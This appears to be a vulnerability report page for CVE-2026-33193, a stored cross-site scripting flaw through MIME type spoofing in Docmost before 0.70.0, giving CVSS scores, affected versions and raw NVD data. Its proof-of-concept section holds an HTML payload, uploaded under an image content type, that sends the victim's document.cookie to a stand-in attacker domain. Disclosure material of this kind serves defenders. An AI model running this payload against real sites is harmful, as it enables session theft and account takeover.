Security Vulnerability Report
中文
CVE-2026-33193 CVSS 4.6 MEDIUM

CVE-2026-33193

Published: 2026-04-14 22:16:31
Last Modified: 2026-04-23 14:17:28

Description

Docmost is open-source collaborative wiki and documentation software. Versions prior to 0.70.0 are vulnerable to a stored cross-site scripting (XSS) attack due to improper handling of MIME type spoofing (GHSL-2026-052). An attacker could exploit this flaw to inject malicious scripts, potentially compromising the security of users and data. Version 0.70.0 contains a patch.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:* - VULNERABLE
Docmost < 0.70.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept: MIME Spoofing XSS --> <!-- 1. Create a file named exploit.html --> <!-- 2. Send it to the server with Content-Type: image/jpeg --> <!-- 3. Trigger the view on the target page --> <html> <body> <script> // Simple payload to verify execution alert('CVE-2026-33193 XSS Triggered'); // Exfiltrate document cookie var img = new Image(); img.src = "http://attacker-controlled-domain.com/collect?c=" + encodeURIComponent(document.cookie); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33193", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:30.867", "lastModified": "2026-04-23T14:17:27.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Docmost is open-source collaborative wiki and documentation software. Versions prior to 0.70.0 are vulnerable to a stored cross-site scripting (XSS) attack due to improper handling of MIME type spoofing (GHSL-2026-052). An attacker could exploit this flaw to inject malicious scripts, potentially compromising the security of users and data. Version 0.70.0 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:docmost:docmost:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.70.0", "matchCriteriaId": "A06B1F8A-400A-4DFC-98D5-ABAED75EDB69"}]}]}], "references": [{"url": "https://github.com/docmost/docmost/security/advisories/GHSA-7cq4-577p-wp6p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}